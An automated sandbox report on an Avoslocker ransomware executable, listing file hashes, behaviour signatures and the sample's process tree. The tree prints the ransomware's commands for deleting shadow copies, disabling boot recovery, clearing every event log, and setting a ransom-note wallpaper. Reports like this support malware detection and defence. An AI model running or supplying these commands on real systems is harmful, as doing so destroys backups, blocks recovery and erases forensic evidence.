Overview

overview

10

Static

static

3

eba3a5a717...15.exe

windows7-x64

10

eba3a5a717...15.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    134s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 07:39

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General

  • Target

    eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe

  • Size

    1002KB

  • MD5

    97b34aecdcbe69cc57b4d321b0700cd9

  • SHA1

    b2f2a027512a6f2b4ea856468eaccf6250a555d4

  • SHA256

    eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115

  • SHA512

    5436ad5e25083f167de6a30d2aa06d4dce514a4b5a2cc6d9ca5a4b1f7d3903f2d0bb70f64fa4562b26857dac7bd36ef7c8bb5b766d4975a0fef39a01dac63327

  • SSDEEP

    24576:Lgg34ayddj+yYCVj2EG1bWIL0oHPVRV37AXVJmUCOsvxFdUwcT:E2edj4CwE4bFbl7AqUgvrFcT

Score
10/10
avoslockerdefense_evasionevasionexecutionimpactransomware

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (8461) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe
    "C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3748
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4324
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:7632
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4260
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:9196
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:27372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:43924
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1513918393.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:43492
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:43064
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:28840

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      36d08e3dadf813cefd755ba410908b16

      SHA1

      3ec7b14da6eaaf24f99be6c68301a6a7d05e6e5a

      SHA256

      4b38c6732593914ff892b2ed9fd337d4fa3cac8df096bae3fc532e606b3d1752

      SHA512

      8828d2f7cd763dfafff76f28ed990498a241ae6abace6fa7ce96060672216143d6c5a92eef8eacdf1060ae239c275571640328452b2e516ed90d8c14b245c52e

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      d8b9a260789a22d72263ef3bb119108c

      SHA1

      376a9bd48726f422679f2cd65003442c0b6f6dd5

      SHA256

      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

      SHA512

      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fogknyz4.zwi.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/2012-2-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-4-0x0000000000610000-0x0000000000611000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2012-8-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-6-0x0000000000401000-0x000000000049D000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2012-0-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-5-0x0000000000640000-0x0000000000683000-memory.dmp

      Filesize

      268KB

      Download

    • memory/2012-7-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-22633-0x0000000000401000-0x000000000049D000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2012-22631-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-3-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/2012-22632-0x0000000000640000-0x0000000000683000-memory.dmp

      Filesize

      268KB

      Download

    • memory/2012-1-0x0000000000400000-0x00000000004E5000-memory.dmp

      Filesize

      916KB

      Download

    • memory/27372-16908-0x0000021427FB0000-0x0000021427FD2000-memory.dmp

      Filesize

      136KB

      Download